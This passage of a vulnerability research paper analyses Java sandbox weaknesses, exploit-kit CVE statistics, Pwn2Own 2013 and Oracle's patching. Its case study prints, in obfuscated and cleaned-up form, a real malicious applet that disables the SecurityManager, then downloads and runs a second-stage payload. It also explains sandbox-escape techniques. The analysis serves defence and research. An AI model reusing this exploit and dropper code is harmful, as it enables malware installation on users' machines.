static method instantiates a Malicious object, sets the data pointer to 0x41414141, and then calls the dispose method so public class Gullible { protected long dataPointer; public Gullible() { dataPointer = getDataPointer(); } public dispose() { if (dataPointer != 0) { free(dataPointer); } dataPointer = 0; } private native long getDataPointer(); private native void free(long dataPointer); } public class Malicious extends Gullible { pubic setDataPointer(long inputDataPointer) { dataPointer = inputDataPointer; } public static void cwe_822() { Malicious m = new Malicious(); m.setDataPointer(0x41414141); m.dispose(); } } Java Every-Days: Exploiting Software Running on 3 Billion Devices that the free native function will get called. At this point native code is being executed against an arbitrary memory location. Root Cause Analysis CVE-2013-242814 is an example of untrusted pointer dereference that occurs in the com.sun.webpane.platform.WebPage class. The following code snippet will help with the explanation of the vulnerability. The WebPage class stores a pointer to a native object within the pPage instance variable. There are numerous native functions within the class, such as twkSetEditable. When calling a native function, several of the methods reference the pPage instance variable directly while others use the getPage accessor method. It is possible to subclass the WebPage class and override the getPage method due to the fact the getPage method is public, the WebPage class is public, and the com.sun.webpage.platform package is not restricted. Doing so will result in an attacker-controlled pointer being passed to the native function. Patch Analysis 14 http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html package com.sun.webpage.platform; ... public class WebPage { ... private long pPage = 0L; ... public long getPage() { return this.pPage; } ... public void setEditable(boolean paramBoolean) { lockPage(); try { log.log(Level.FINE, "setEditable"); if (this.isDisposed) { log.log(Level.FINE, "setEditable() request for a disposed web page."); } else { twkSetEditable(getPage(), paramBoolean); } } finally { unlockPage(); } } ... private native void twkSetEditable(long paramLong, boolean paramBoolean); ... } Java Every-Days: Exploiting Software Running on 3 Billion Devices CVE-2013-2428 was patched in two ways. The com.sun.webpane package was first restricted in JDK 7u13 by adding it to the restricted package list rendering the vulnerability useless. Oracle officially patched this CVE in JDK 7u21 by changing the visibility of the getPage method from public to package-private and final. Leveraging Sub-component Weaknesses Exploit kit authors have jumped on the Java bandwagon offering a variety of exploits that leverage different vulnerability types. As stated previously, the kits on average need to offer 2+ Java exploits just to stay competitive in this market. Aligning this with the recent attacks using 0-day vulnerabilities; we derive unique insights into which software weaknesses are actually being leveraged in the threat landscape. To further our understanding of the landscape, our set of 52,000 unique Java malware samples were run through numerous anti-virus engines to classify the samples into a set of categories based on the CVE they utilized. This provided us with a list of the most common weaponized Java vulnerabilities over the last three years. In the graph below, the last three years of unique (by MD5 hash) Java malware samples per month are shown. Figure 12 - Actively Exploited CVEs 0 2000 4000 6000 8000 10000 12000 CVE-2013-1493 CVE-2013-1480 CVE-2013-0431 CVE-2013-0422 CVE-2012-5076 CVE-2012-4681 CVE-2012-1723 CVE-2012-0507 CVE-2011-3544 CVE-2011-3521 CVE-2010-4465 Source: Reversing Labs final long getPage() { return this.pPage; } Java Every-Days: Exploiting Software Running on 3 Billion Devices It is interesting that this timeline mirrors the increase in vulnerability discoveries by the external community over the last 6 months. Starting in August, the number of unique malware instances quickly shot up to close to the 4,000 mark. More surprising is the huge jump in unique instances that begin in December and hit a high in January of over 12,000 against just 9 of the most common CVEs. Half of those unique instances were labeled as CVE-2012-1723, which is a type confusion vulnerability in the HotSpot sub-component. January 2013 also saw a large increase in use of CVE-2012-0507, another type confusion vulnerability in the Concurrency sub-component. Anti-virus engines do not always label samples correctly so the exact percentage of the unique samples per CVE inherently includes a small margin for error. As stated at the beginning of this paper we focus on the time period of 2011 – 2013. This graph is limited to the active CVEs during this time. Due to the lack of data for CVEs found in 2009-2010 in our sample set this may have resulted in a less than accurate representation of activity in early 2011. The key take away is that attackers are significantly upping their game by targeting more CVEs than ever and are increasingly successful at getting their exploits onto victim machines. Threat Landscape Aligning Component Weaknesses to Attacks As our goal is to understand the weaknesses at play in the landscape, we compared the list of actively targeted CVEs to the CVEs available through penetration testing tools and exploit kits tracked by Contagio15. By far, the most common vulnerability type for attack tools is the sandbox bypass using unsafe reflection to gain code execution. The table below details out the CVE/CWEs available to attackers and the toolsets they are available in. CVE CWE CWE Sub-category Exploit Kit Penetration Testing Tool CVE-2010-4452 CWE-114 Process Control N/A Yes Yes CVE-2011-3521 CWE-265 Privilege / Sandbox Issues CWE-843 Type Confusion Yes No CVE-2011-3544 CWE-265 Privilege / Sandbox Issues CWE-272 Least Privilege Violation Yes Yes CVE-2012-0507 CWE-265 Privilege / Sandbox Issues CWE-843 Type Confusion Yes Yes CVE-2012-1723 CWE-265 Privilege / Sandbox Issues CWE-843 Type Confusion Yes Yes CVE-2012-4681 CWE-265 Privilege / Sandbox Issues CWE-470 Unsafe Reflection No Yes 15 http://contagiodump.blogspot.ca/2010/06/overview-of-exploit-packs-update.html Java Every-Days: Exploiting Software Running on 3 Billion Devices CVE-2012-0500 CWE-78: OS Command Injection N/A No Yes CVE-2012-5076 CWE-265: Privilege / Sandbox Issues CWE-470 Unsafe Reflection Yes Yes CVE-2012-5088 CWE-265: Privilege / Sandbox Issues CWE-470 Unsafe Reflection No Yes CVE-2013-0422 CWE-265: Privilege / Sandbox Issues CWE-470 Unsafe Reflection Yes Yes CVE-2013-0431 CWE-265 Privilege / Sandbox Issues CWE-470 Unsafe Reflection Yes Yes CVE-2013-1480 CWE-122 Heap-based Buffer Overflow N/A No No CVE-2013-1488 CWE-265 Privilege / Sandbox Issues CWE-272 Least Privilege Violation No Yes CVE-2013-1493 CWE-122 Heap-based Buffer Overflow N/A Yes Yes CVE-2013-2432 CWE-265 Privilege / Sandbox Issues CWE-843 Type Confusion Yes Yes Figure 13 - Actively Targeted CVS Comparing the most popular software weakness across the attack tools to the most patched vulnerabilities, we see the following: • Most Common Weakness Included in Attack Tools 1. CWE-265 Privilege / Sandbox Issues due to CWE-470 Unsafe Reflection 2. CWE-265 Privilege / Sandbox Issues due to CWE-843 Type Confusion 3. CWE-122 Heap-based Buffer Overflow 4. CWE-265 Privilege / Sandbox Issues due to CWE-272 Least Privilege Violation • Java’s Most Patched Weakness 1. CWE-265 Privilege / Sandbox Issues due to CWE-470 Unsafe Reflection 2. CWE-265 Privilege / Sandbox Issues due to CWE-272 Least Privilege Violation 3. CWE-122 Heap-based Buffer Overflow 4. CWE-787: Out-of-bounds Write Java Every-Days: Exploiting Software Running on 3 Billion Devices One intriguing occurrence is that the type confusion style of sandbox bypass switches place in the ranks with the least privilege style of sandbox bypass when it came to inclusion in the attack tools. The next logical question is: Which weakness is utilized more often in the exploit kits? The chart below describes the utilization breakdown for each software weakness across our malware sample set: Figure 14 - CWEs Utilized by Attackers The clear “winner” is the type confusion style of sandbox bypass vulnerability with over half of the unique Java malware samples. Heap-based buffer overflow vulnerabilities barely show up on the diagram due to the sheer volume of unique samples of sandbox issues. Techniques Beyond the Vulnerability As is to be expected, the techniques for exploiting a vulnerability in Java will vary highly based on the type of vulnerability but there are two primary techniques. The first is accomplished through “traditional” memory corruption exploitation techniques and, as such, is more often used with vulnerabilities in native code. The second is accomplished through the nullification of the SecurityManager and is more often used with vulnerabilities that make use of least privilege violations, unsafe reflection, and type confusion. Controlled out-of-bounds writes and buffer overflows can be used to overwrite function pointers or saved return pointers. However, these techniques will also require DEP and ASLR to be bypassed. A much simpler method is to make use of the java.beans.Statement class. A Statement object essentially represents a single line of Java code of the following form: All Statement objects have an AccessControlContext instance variable that is used when invoking the statement. The intended purpose is to prevent least privilege violations and since the instance variable is final, within the confines of the JVM, it is successful. However, if we allocate a Statement object such that we can use a buffer overflow or out-of-bounds write to overwrite the saved AccessControlContext, then invocation of the statement will occur at a higher privilege than intended. In practice, this requires allocating a Statement object and replacing the saved AccessControlContext with one that implements AllPermission. This allows you to turn an out-of-bounds CWE-843 Type Confusion CWE-470 Unsafe Reflection CWE-272 Least Privilege Violation CWE-114 Process Control CWE-122 Heap-based Buffer Overflow instanceVariable.instanceMethod(argument1) Java Every-Days: Exploiting Software Running on 3 Billion Devices write or buffer overflow into a least privilege violation which means that DEP and ASLR are not an issue. Usage of this technique does require the ability to predict where the Statement object will be relative to the buffer you are overflowing or writing past. The second technique occurs in pure Java and essentially comes down to the following statement being executed: The aforementioned statement is part of how Java has received its “write once, own everywhere” reputation. Once executed in a higher context with no user stack, all subsequent statements will be executed with no sandbox to stop it. Case Study: CVE-2012-1723 CVE-2012-1723 is a vulnerability with the bytecode verifier within HotSpot that can lead to type confusion. It was very popular with malware authors and has characteristics that make it easy to identify. Three easy things to look for that are indicative of CVE-2012-1723 are: • The presence of a class that has at least 100 instance variables of a single class and a single static variable of another class o Exploitation of this vulnerability does not require these variables to ever be set and as such, you are unlikely to see a sample that sets them to any value • The presence of a method within that class that takes the static class’ type as an argument and returns the instance variables’ type as a return value • The presence of repeated calls to the aforementioned method with null as the sole argument While it is possible that the malware author was clever enough to obfuscate the code such that common decompilers fail to properly decompile it, we see that it was weakly obfuscated using Allitori’s Java Obfuscator16. Note that this is not representative of the capabilities of Allitori’s obfuscator but of the options within the obfuscator that the malware author enabled. The JAR file contained six class files: Adw.class, dqqOzf.class, dumppzGr.class, qFvtPH.class, qWodxNpkOs.class, and vceBGl.class. The dumppzGr, qFvtPH, and vceBGl were not used by the exploit code, so they are not included in the dump below: 16 http://www.allatori.com/ System.setSecurityManager(null) Java Every-Days: Exploiting Software Running on 3 Billion Devices //Adw import java.io.PrintStream; import java.net.URL; import java.security.AllPermission; import java.security.CodeSource; import java.security.Permissions; import java.security.cert.Certificate; public class Adw { public static String mwYda(String paramString) { String[] arrayOfString = paramString.split("hj"); String str = ""; System.out.println(arrayOfString.length); return qWodxNpkOs.qNkV(arrayOfString, 0); } public static URL RWdvAlV(String paramString, int paramInt) throws Exception { String str = paramString; str = str + (char)(Math.min(113, 2454) + paramInt); str = str + (char)(Math.min(116, 23544) + paramInt); str = str + (char)(Math.min(109, 23544) + paramInt); str = str + (char)(Math.min(66, 7275) + paramInt); str = str + (char)(Math.min(55, 3235) + paramInt); str = str + (char)(Math.min(55, 2225) + paramInt); str = str + (char)(Math.min(55, 6275) + paramInt); return new URL(str); } public static CodeSource FsXSABhE(Certificate[] paramArrayOfCertificate, Permissions paramPermissions) throws Exception { paramPermissions.add(new AllPermission()); return new CodeSource(RWdvAlV("f", -8), paramArrayOfCertificate); } } //dqqOzf import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.io.PrintStream; import java.lang.reflect.Constructor; import java.net.URL; import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class dqqOzf implements PrivilegedExceptionAction { static String FGxIhk; int vbEfOUE = 51361; int JQNmeVgsUu = 205959; static String IXKQHUlU = "svr3"; static final int TiwCFY = 1024; public dqqOzf(String paramString1, String paramString2) { try { AccessController.doPrivileged(this); ndOGfc(paramString1, paramString2); } catch (Exception localException) { } } Java Every-Days: Exploiting Software Running on 3 Billion Devices public static void DASIS(String paramString1, String paramString2, Class paramClass) throws Exception { Object[] a = new Object[] { Adw.mwYda(paramString1), Adw.mwYda(paramString2) }; paramClass.getConstructor(qWodxNpkOs.JebR()).newInstance(a); } void hfRDH(SecurityManager paramSecurityManager) { System.setSecurityManager(paramSecurityManager); } public Object run() { hfRDH(null); return Integer.valueOf(56); } public static String xUdVD(int paramInt1, int paramInt2) { String str = ""; str = str + (char)(int)(Math.round(-106.5D) * -1L); str = str + (char)Math.abs(paramInt2); str = str + (char)(int)(Math.round(-117.59999999999999D) * -1L); str = str + (char)Math.abs(paramInt2); str = str + (char)Math.abs(paramInt1); str = str + (char)Math.abs(-105); str = str + (char)Math.abs(-111); str = str + (char)Math.abs(paramInt1); str = str + (char)Math.abs(-116); str = str + (char)(int)(Math.round(-108.59999999999999D) * -1L); str = str + (char)Math.abs(-112); str = str + (char)Math.abs(-100); str = str + (char)Math.abs(-105); str = str + (char)Math.abs(-114); return str; } public static FileOutputStream tqxwAzdag(String paramString, int paramInt1, int paramInt2) throws Exception { String str = xUdVD(paramInt1, paramInt2); System.out.println(str.replace("a", "uuu")); FGxIhk = System.getenv("APPDATA").concat(paramString); FileOutputStream localFileOutputStream = new FileOutputStream(FGxIhk); return localFileOutputStream; } static int ARrlm(String[] paramArrayOfString, int paramInt1, int paramInt2) { return Integer.parseInt(paramArrayOfString[paramInt1]) + paramInt2; } static String AWGnFoHhfj(String[] paramArrayOfString, int paramInt1, int paramInt2) { String str = ""; while (paramInt1 < paramArrayOfString.length) { str = str + (char)ARrlm(paramArrayOfString, paramInt1, paramInt2); paramInt1++; } return str; } public static void zyyLMiDiVF() throws Exception { Process localProcess = new ProcessBuilder(new String[] { FGxIhk }).start(); } Java Every-Days: Exploiting Software Running on 3 Billion Devices public static void VcIJmRVya(String paramString) throws Exception { String[] a = new String[] { "reg".concat(IXKQHUlU.concat("2.ex".concat("e"))), paramString, FGxIhk } Process localProcess = new ProcessBuilder(a).start(); } public static void NBCwYF(BufferedOutputStream paramBufferedOutputStream, BufferedInputStream paramBufferedInputStream) throws Exception { int i = Math.min(465215, 347676) - 399325; paramBufferedOutputStream.close(); String str1 = ""; str1 = str1 + '/'; str1 = str1 + 's'; String str2 = str1; paramBufferedInputStream.close(); int j = Math.abs(480149) + 332804; try { zyyLMiDiVF(); } catch (Exception localException) { } VcIJmRVya(str2); } static void fVgym(BufferedOutputStream paramBufferedOutputStream, BufferedInputStream paramBufferedInputStream) throws Exception { byte[] arrayOfByte = new byte[1024]; int i = 0; while ((i = paramBufferedInputStream.read(arrayOfByte, 0, 1024)) >= 0) paramBufferedOutputStream.write(arrayOfByte, 0, i); } public static void xBoGAroU(String paramString1, String paramString2) { try { BufferedInputStream localBufferedInputStream = new BufferedInputStream(new URL(paramString1).openStream()); FileOutputStream localFileOutputStream = tqxwAzdag("\\".concat(paramString2), -46, -97); BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024); fVgym(localBufferedOutputStream, localBufferedInputStream); NBCwYF(localBufferedOutputStream, localBufferedInputStream); } catch (Exception localException) { } } public void ndOGfc(String paramString1, String paramString2) { try { BufferedInputStream localBufferedInputStream = new BufferedInputStream(new URL(paramString1).openStream()); FileOutputStream localFileOutputStream = tqxwAzdag("\\".concat(paramString2), -46, -97); BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024); int i = Math.min(387956, 255862) ^ 0x3A83E; fVgym(localBufferedOutputStream, localBufferedInputStream); NBCwYF(localBufferedOutputStream, localBufferedInputStream); } catch (Exception localException) { } } } Java Every-Days: Exploiting Software Running on 3 Billion Devices //qWodxNpkOs import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; import com.sun.org.glassfish.gmbal.util.GenericConstructor; import java.applet.Applet; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.PrintStream; import java.lang.reflect.Method; public class qWodxNpkOs extends Applet { static String qNkV(String[] paramArrayOfString, int paramInt) { String str = ""; while (paramInt < paramArrayOfString.length) { str = str + (char)(Integer.parseInt(paramArrayOfString[paramInt]) + 1); paramInt++; } return str; } public static Class[] JebR() { return new Class[] { String.class, String.class }; } int wRXNjHtp(String paramString, int paramInt1, int paramInt2, long paramLong) { int i = Math.min(333856, 207293) ^ 0x66493; int j = Math.min(421682, 199391) % 85754; int k = Math.abs(263858) + 211007; int m = Math.abs(23452) + 221538; return paramInt1 * 324346 + paramInt1 % 98101; } int QxRR(String paramString, int paramInt1, int paramInt2, long paramLong) { int i = Math.min(174905, 268143) ^ 0x28EE4; int j = Math.abs(423810) * 272680; return paramInt1 + 108071 + paramInt1 ^ 0x56EDF; } public void CNzNo(String paramString1, String paramString2) { try { ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); byte[] arrayOfByte = new byte[8192]; InputStream localInputStream = getClass().getResourceAsStream("dqqOzf.class"); int i; while ((i = localInputStream.read(arrayOfByte)) > 0) localByteArrayOutputStream.write(arrayOfByte, 0, i); arrayOfByte = localByteArrayOutputStream.toByteArray(); String a = "sun.inv".concat("oke.anon.Anonymo").concat("usClassLoader"); GenericConstructor localGenericConstructor = new GenericConstructor(Object.class, a, new Class[0]); Object localObject = localGenericConstructor.create(new Object[0]); String b = "loa".concat("dClass"); Class[] c = new Class[] { Byte[].class }; Method localMethod = ManagedObjectManagerFactory.getMethod(localObject.getClass(), b, c); Class localClass = (Class)localMethod.invoke(localObject, new Object[] { arrayOfByte }); dqqOzf.DASIS(paramString1, paramString2, localClass); } catch (Exception localException) { } } Java Every-Days: Exploiting Software Running on 3 Billion Devices While no main class was specified in the JAR’s manifest, we can assume that qWodxNpkOs is the main class as it is a subclass of Applet. The presence of an init method that ensures that it is running on Java 1.7 before continuing confirms this theory. That leaves Adw and dqqOzf as questionably relevant. Of Adw’s three static methods, only mwYda is called from another function and since all it does is split the input string by “hj” before passing to another function, we can easily replace calls to it so that we can eliminate this class. The dqqOzf class is a subclass of PrivilegedExceptionAction and contains a doPrivileged block within its constructor. Since a new instance of dqqOzf is created within qWodxNpk, we surmise that this is another useful class. At this point we have gone from six potentially relevant classes to just two. We now apply constant propagation and dead code elimination to further de- obfuscate these two classes. We will also evaluate pure functions whenever possible and inline functions wherever it makes sense and makes the code more readable. Constant propagation is the act of replacing variables with known values. As an example, we saw the following function in this piece of malware: We also saw a single call to this function that looked like the following: int LXIt(int paramInt1, int paramInt2, int paramInt3, int paramInt4, String paramString, long paramLong) { return paramInt3 ^ 318100 - paramInt1 * 143360; } String[] pxRcChlJej() { String[] arrayOfString = new String[2]; arrayOfString[0] = getParameter("Sjuzeod"); arrayOfString[1] = getParameter("TQrzC"); return arrayOfString; } public void init() { String[] arrayOfString = pxRcChlJej(); String str = System.getProperty("java.vers".concat("ion")); if (str.indexOf("1.".concat("7")) != -1) CNzNo(arrayOfString[0], arrayOfString[1]); } } public static URL RWdvAlV(String paramString, int paramInt) throws Exception { String str = paramString; str = str + (char)(Math.min(113, 2454) + paramInt); str = str + (char)(Math.min(116, 23544) + paramInt); str = str + (char)(Math.min(109, 23544) + paramInt); str = str + (char)(Math.min(66, 7275) + paramInt); str = str + (char)(Math.min(55, 3235) + paramInt); str = str + (char)(Math.min(55, 2225) + paramInt); str = str + (char)(Math.min(55, 6275) + paramInt); return new URL(str); } RWdvAlV('f', -8) Java Every-Days: Exploiting Software Running on 3 Billion Devices Visually we can see that for each line in the function, Math.min() will return the value on the left-most side. We already know that each value is added together with -8, therefore we can easily convert this to the string that will get returned, “file:///”. Dead code elimination is the act of removing statements and functions that are never called. This was partially accomplished in the removal of unused classes. We now continue doing so within our two remaining classes. Though the following function was removed since it was not being called at all, here is an example of dead code elimination: Since the return value only references a single argument and not the local variables, all of those statements can be removed to result in the following function: We can also remove the unnecessary arguments and change the function prototype to the following: At this point we have to modify all callers of wRXNjHtp to only pass the argument that gets used. Had this function been used, it would have been an ideal candidate for inlining. Alternatively, if this function was called with static arguments, we would have been able to evaluate it and replace calls to it with the generated static value. After applying a few passes of these techniques to the sample, we end up with code that is readable. It is at this point that we can infer variable and argument names, which resulted in the following code: int wRXNjHtp(String paramString, int paramInt1, int paramInt2, long paramLong) { int i = Math.min(333856, 207293) ^ 0x66493; int j = Math.min(421682, 199391) % 85754; int k = Math.abs(263858) + 211007; int m = Math.abs(23452) + 221538; return paramInt1 * 324346 + paramInt1 % 98101; } int wRXNjHtp(String paramString, int paramInt1, int paramInt2, long paramLong) { return paramInt1 * 324346 + paramInt1 % 98101; } int wRXNjHtp(int paramInt1) { return paramInt1 * 324346 + paramInt1 % 98101; } Java Every-Days: Exploiting Software Running on 3 Billion Devices //EvilActionClass (formerly dqqOzf) package cve_2012_1723; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.net.URL; import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class EvilActionClass implements PrivilegedExceptionAction { public EvilActionClass(String paramString1) { try { AccessController.doPrivileged(this); getSaveAndRunSecondStage(paramString1); } catch (Exception e) { } } public static void triggerDoPrivBlock(String obfuscatedURL, Class paramClass) throws Exception { String[] arrayOfString = obfuscatedURL.split("hj"); String url = ""; int i = 0; while (i < arrayOfString.length) { url += (char)(Integer.parseInt(arrayOfString[i]) + 1); i++; } paramClass.getConstructor(new Class[] { String.class }).newInstance(new Object[] { url }); } public Object run() { System.setSecurityManager(null); return Integer.valueOf(56); } public void getSaveAndRunSecondStage(String url) { try { BufferedInputStream bis = new BufferedInputStream(new URL(url).openStream()); String droppedFileName = System.getenv("APPDATA").concat("java.io.tmpdir"); BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(droppedFileName), 1024); byte[] buf = new byte[1024]; int i = 0; while ((i = bis.read(buf, 0, 1024)) >= 0) { bos.write(buf, 0, i); } bos.close(); bis.close(); try { Process localProcess = new ProcessBuilder(new String[] { droppedFileName }).start(); } catch (Exception localException) { } Process localProcess2 = new ProcessBuilder(new String[]{"regsvr32.exe", "/s", droppedFileName}).start(); } catch (Exception e) { } } } Java Every-Days: Exploiting Software Running on 3 Billion Devices The obfuscated version was given to us as an example of CVE-2012-1723 but now that it has been de-obfuscated we can see that it is actually CVE-2012-5076. It is also now clear to see how the malware works. com.sun.org.glassfish.gmbal.util.GenericConstructor is used to instantiate a restricted class, sun.invoke.anon.AnonymousClassLoader. com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory is used to get access to the loadClass instance method of AnonymousClassLoader. The AnonymousClassLoader instance is used load a malicious subclass of java.security.PrivilegedExceptionAction. At this point, a function inside our malicious subclass is executed. This function de-obfuscates the URL to grab the second stage from and passes the de-obfuscated URL to the constructor for the malicious subclass. The constructor calls AccessController.doPrivileged() on itself and since the class is a subclass of PrivilegedExceptionAction, this executes the class' run() method. The run method solely needs to call System.setSecurityManager(null) to be able to execute arbitrary commands. The rest of the flow of execution is specific to this piece of malware. The second stage is downloaded from the URL that is specified within the “Sjuzeod” parameter of the HTML file that loads the malicious applet and the contents of that URL are saved to %APPDATA%\java.io.tmpdir and then executed or loaded as a DLL. Based off the CVE we received the file for this piece of malware was classified as type confusion, but now we can appropriately classify it as privilege and sandbox issues due to least privilege violation. //EvilApplet (formerly qWodxNpkOs) package cve_2012_1723; import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; import com.sun.org.glassfish.gmbal.util.GenericConstructor; import java.applet.Applet; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.reflect.Method; public class EvilApplet extends Applet { public void init() { String str = System.getProperty("java.version"); if (str.indexOf("1.7") != -1) { try { ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); byte[] arrayOfByte = new byte[8192]; InputStream localInputStream = getClass().getResourceAsStream("dqqOzf.class"); int i; while ((i = localInputStream.read(arrayOfByte)) > 0) localByteArrayOutputStream.write(arrayOfByte, 0, i); arrayOfByte = localByteArrayOutputStream.toByteArray(); GenericConstructor localGenericConstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]); Object localObject = localGenericConstructor.create(new Object[0]); Method localMethod = ManagedObjectManagerFactory.getMethod(localObject.getClass(), "loadClass", new Class[] { Byte[].class }); Class ACLdqqOzf = (Class)localMethod.invoke(localObject, new Object[] { arrayOfByte }); EvilActionClass.triggerDoPrivBlock(getParameter("Sjuzeod"), ACLdqqOzf); } catch (Exception e) { } } } } Java Every-Days: Exploiting Software Running on 3 Billion Devices Pwn2Own 2013 In order to highlight the activity in the landscape, we expanded the scope of the Pwn2Own contest to include the browser plugins: Java, Flash and Reader. Doing so prompted the debate as to what is an appropriate bounty for an exploit taking advantage of an unpatched Java vulnerability at Pwn2Own? After much discussion we settled on $20,000 USD. Whenever we release the prize packages for Pwn2Own there is always interesting commentary from reporters and the security community. One of our favorite quotes was from Kostya Kortchinsky: Figure 15 - Pwn2Own Tweet We fully expected a large number of researchers to show up and try to collect on the prize money; however, in the end, only four researchers pre-registered (a contest requirement) for the Java category. When the rules launched, everyone seemed to be focused on the unsafe reflection style of the sandbox bypass vulnerability so our expectation was that we would only receive those types of bugs at the contest. In fact, our contestants leveraged four unique software weaknesses in order to win the prize money with these weaknesses including the top 4 vulnerability classes for Java defined earlier in the paper. Contestant CVE CWE Utilized James Forshaw CVE-2013-1488 CWE-265: Privilege / Sandbox Issues CWE-272: Least Privilege Violation Joshua Drake CVE-2013-1491 CWE-787: Out-of-bounds Write CWE-125: Out-of-bounds Read VUPEN Security CVE-2013-0402 CWE-122 Heap-based Buffer Overflow Ben Murphy CVE-2013-0401 CWE-265: Privilege / Sandbox Issues CWE-470 Unsafe Reflection Figure 16 - CWEs Targeted by Pwn2Own Contestants Vendor Response Review The final part of the equation is to understand how the vendor is responding to the pressure of increased vulnerability disclosures. Oracle is making adjustments to secure the Java architecture. On average, Oracle fixes Java Every-Days: Exploiting Software Running on 3 Billion Devices vulnerabilities submitted through the Zero Day Initiative in about 3 months – well below the program’s 180-day limit. As compared to other vendors in the ZDI program Oracle is in the middle of the pack for vendor response timelines. As expected, some vendors are able to make quick turnaround times on patches while others take much longer. In fact, over the last three years Oracle has significantly improved its vulnerability response time despite the increased vulnerability discoveries. From an external perspective, we conclude that Oracle is investing in its ability to respond to security issues. Oracle also seems to be aggressively reviewing the attack surface and making adjustments as new vulnerability disclosures come in. Over the last six months, Oracle has made changes to Java that has resulted in the killing of 15 Zero Day Initiative cases. “Killing” in this perspective is when we purchase a validated 0-day vulnerability from a researcher and the vendor patches the issue before we can submit it to the vendor to get the issue fixed. These adjustments came in two forms: increased Applet package restrictions and an audit for least privilege violation vulnerabilities. Most of these changes occurred in the April 2013 patch (JDK 7u21). Over time, Oracle reduces the attack surface by making adjustments to the package restriction list. The table below shows the adjustments made over the last eight releases. We baseline the package restriction list at JDK 7u09 to demonstrate the changes Oracle has made. JDK Release Package Restriction Lists JDK 7u09 Baseline com.sun.org.apache.xalan.internal.utils com.sun.org.glassfish.external sun com.sun.jnlp com.sun.xml.internal.ws com.sun.xml.internal.bind org.mozilla.jss com.sun.org.glassfish.gmbal com.sun.imageio com.sun.org.apache.xerces.internal.utils com.sun.deploy com.sun.javaws JDK 7u10 No Change JDK 7u11 No Change Java Every-Days: Exploiting Software Running on 3 Billion Devices JDK 7u13 Added the Following Packages com.sun.glass com.sun.javafx com.sun.media.jfxmedia com.sun.jmx.remote.util com.sun.jmx.defaults com.sun.openpisces com.sun.pisces com.sun.t2k com.sun.istack.internal com.sun.browser com.sun.xml.internal.org.jvnet.staxex com.sun.scenario com.sun.webkit com.sun.media.jfxmediaimpl com.sun.webpane,com.sun.prism JDK 7u15 Removed the Following Packages com.sun.jmx.remote.util com.sun.jmx.defaults Added the Following Packages com.sun.proxy com.sun.jmx JDK 7u17 No Change JDK 7u21 Removed the Following Packages com.sun.org.glassfish.external com.sun.xml.internal.ws com.sun.xml.internal.bind com.sun.org.glassfish.gmbal com.sun.xml.internal.org.jvnet.staxex com.sun.org.apache.xerces.internal.utils Added the Following Packages com.sun.org.apache.xalan.internal.xsltc.cmdline com.sun.org.apache.xml.internal.serializer.utils com.sun.org.apache.xalan.internal.xsltc.trax com.sun.org.apache.xalan.internal.res com.sun.org.apache.xerces.internal com.sun.org.apache.regexp.internal com.sun.org.apache.xalan.internal.templates com.sun.xml.internal com.sun.org.apache.xalan.internal.xslt com.sun.org.apache.xpath.internal com.sun.org.apache.xalan.internal.xsltc.compiler com.sun.org.apache.xalan.internal.xsltc.util com.sun.org.apache.bcel.internal com.sun.org.glassfish com.sun.java.accessibility com.sun.org.apache.xalan.internal.lib com.sun.org.apache.xml.internal.utils com.sun.org.apache.xml.internal.res com.sun.org.apache.xalan.internal.extensions JDK 7u25 Added the Following Packages org.jcp.xml.dsig.internal com.sun.org.apache.xml.internal.security Figure 17 - Modification to Java's Package Restriction List Modifications made to the restricted package list in JDK 7u13 resulted in three untrusted pointer dereferencing cases being killed. Two least privilege violation based sandbox bypasses were also killed during the JDK 7u15 release. Oracle could have accomplished this win by: an internal audit, an external audit by researchers, or by removing some Java Every-Days: Exploiting Software Running on 3 Billion Devices of the vulnerability chain that was being used to reach the vulnerable code. However they did it, it worked in patching several 0-day vulnerabilities that had been independently discovered. Finally, Oracle recently increased its scheduled patch update cycle to four releases a year17. This increase is a direct response to the increase of discoveries by external researchers. They are making commitments to their customer base and changing internal procedures in order to react quicker when attackers are taking advantage of unpatched vulnerabilities. Only time will tell if these verbal commitments will result in more secure software. The fact is that over that last three years Oracle has made adjustments to reduce the attack surface and these modifications directly resulted in the remediation of vulnerabilities they were not even aware of. One can only hope that this trend will continue. Conclusion Oracle has weathered quite the storm over the last 8 months. Attackers continually discover and expose weaknesses in the framework and leverage those vulnerabilities to compromise machines. Exploit kit authors are upping the number of Java vulnerabilities they are including in their releases to stay competitive. The external research community is also focusing on the Java framework. Zero Day Initiative researchers continually identify a large number of vulnerabilities resulting in Oracle releasing some of their biggest security patches to date. Based on this analysis, we have solid evidence that the sandbox bypass due to unsafe reflection is the most prolific issue in the framework but the sandbox bypass due to type confusion is the most exploited vulnerability type. Heap- based buffer overflows in the 2D component produce some of the most severe vulnerabilities but are not commonly used by the exploit community. Interestingly enough, each of the sub-components in the architecture appears to be vulnerable only to a subset of vulnerability types. With this information, researchers will be able to focus their efforts while auditing the sub-components to increase the chance of discovering some fresh 0-days. We look forward to analyzing the next round of Java issues submitted to the Zero Day Initiative and hopefully this information will help you find more vulnerabilities. Good luck bug hunting! Learn more at zerodayinitiative.com hp.com/go/hpsr java.com/en/download/uninstall.jsp 17 https://blogs.oracle.com/security/entry/maintaining_the_security_worthiness_of
pdf
